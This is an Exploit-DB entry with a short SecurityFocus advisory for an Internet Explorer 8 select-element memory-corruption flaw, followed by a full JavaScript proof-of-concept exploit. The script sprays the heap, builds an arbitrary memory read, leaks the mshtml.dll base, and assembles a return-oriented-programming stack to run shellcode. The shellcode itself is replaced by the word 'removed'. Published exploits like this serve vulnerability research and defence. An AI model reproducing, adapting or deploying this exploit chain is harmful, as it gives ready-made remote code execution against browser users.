Microsoft Internet Explorer 8 – Select Element Memory Corruption

  • 作者： Ivan Fratric
    日期： 2011-10-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/36209/
  • source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. 

<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
var o = new Option();
selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
if(addr < readaddr) alert("Error, can't read that address");
return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
if(addr < readaddr) alert("Error, can't read that address");
return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
try {
var index = (addr-optarryaddr)/4 - 0x40000000;
selarray[99].options.add(optarray.pop(),index);
} catch(err) {} 
}

function getreadaddr() {
readaddr = 0;
var indexarray = new Array();
var tmpaddr = 0;
var i,index;

index = readmem(tmpaddr);
indexarray.push(index);

while(1) {
tmpaddr += 0x100000;
index = readmem(tmpaddr);
for(i=0;i<indexarray.length;i++) {
if(indexarray[i]==index+1) {
readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
return 1;
} else if(indexarray[i]==index-1) {
readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
return 1; 
}
}
indexarray.push(index);
}
}

//leverages the vulnerability into memory disclosure
function initread() {
//overwrite something in a heap spray slide
try {
selarray[99].options.add(optarray.pop(),-100000000/4);
} catch(err) {}

//now find what and where exectly did we overwrite
readindex = -1;
var i;
for(i=1;i<200;i++) {
if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
readindex = i;
break;
}
}

if(readindex == -1) {
alert("Error overwriring first spray");
return 0;
}

var start=2,len=spray[readindex].length-2,mid;
while(len>10) {
mid = Math.round(len/2);
mid = mid - mid%2;
if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
len = mid;
} else {
start = start+mid;
len = len-mid;
//if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
}
}

for(i=start;i<(start+20);i=i+2) {
if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
break;
}
}

//overwrite the string length
try {
selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
} catch(err) {}
 
if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");

//readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
getreadaddr();

optarryaddr = readaddr + 100000000 + i*2;

return 1; 
}

function trysploit() {
//create some helper objects
for(var i =0; i < 100; i++) {
elms.push(document.createElement('div'));
}

//force the option cache to rebuild itself
var tmp1 = selarray[99].options[70].text;

//overwrite the CTreeNode pointer
overwrite(corruptaddr);
//read the address of the option object we overwrited with
var optadr = readmem(corruptaddr);
//delete the option object...
selarray[99].options.remove(0);

CollectGarbage();

//...and allocate some strings in its place
for(var i = 0; i < elms.length; i++) {
elms[i].className = fakeobj;
}

//verify we overwrote the deleted option object successfully
if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

alert("success, calc.exe should start once you close this message box");

//now do something with the corrupted option object
corruptedoption.parentNode.click();
}

function hs() {

//first heap spray, nop slide + shellcode 
spray = new Array(200);
var pattern = unescape("%u0C0C%u0C0C");
while(pattern.length<(0x100000/2)) pattern+=pattern;
pattern = pattern.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
spray[i] = [inttostr(i)+pattern+scode].join("");
}

//fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
var asmall = new Array(10000);
pattern = "aaaa";
while(pattern.length<500) pattern+=pattern;
for(var i=0;i<10000;i++) {
asmall[i]=[pattern+pattern].join("");
}

//create some select and option elements
selarray = new Array(100);
for(var i=0;i<100;i++) {
selarray[i] = document.createElement("select");
for(var j=0;j<100;j++) {
var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
selarray[i].options.add(o,0);
}
}

//create some extra option elements
optarray = new Array(10000);
for(var i=0;i<10000;i++) {
optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
}

//enable memory disclosure
if(initread()==0) return;

//force the option cache to rebuild itself
var tmp1 = selarray[99].options[60].text;

//get the address of some option element to be corrupted, also remove
it from its select element, we don't want anything else messing with
it
corruptedoptionaddr = readmem(optarryaddr+60*4);
corruptedoption = selarray[99].options[60];
selarray[99].options.remove(60);

//get the base address of mshtml.dll based on the vtable address
inside the option object
mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

//we'll overwrite the pointer to the CTreeNode object, compute its address
corruptaddr = corruptedoptionaddr+0x14;

//second heap-spray, this one will act as a stack (we'll exchange
stack pointer with a pointer into this)
spray2 = new Array(200); 

//some address that is likely to be inside the "stack"
newstackaddr = optarryaddr+100000000;
newstackaddr-=newstackaddr%0x1000;
newstackaddr+=0x24;

//assemble the "stack" so that it calls VirtualProtect on the firs
shellcode and then jumps into it through return-oriented-programming
newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);
while(newstack.length<(0x1000/2))
newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");
newstack = newstack.substr(0,0x1000/2);
while(newstack.length<(0x100000/2)) newstack+=newstack;
newstack = newstack.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
spray2[i] = [newstack].join("");
}

//constract a fake object which will replace a deleted option object
(it has to be the same size)
//fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");

//loop until we either achieve command execution or fail
for(var i=0;i<100;i++) {
trysploit();
}

alert("Exploit failed, try again");

}


hs();


-->
</script>


</body>
</html>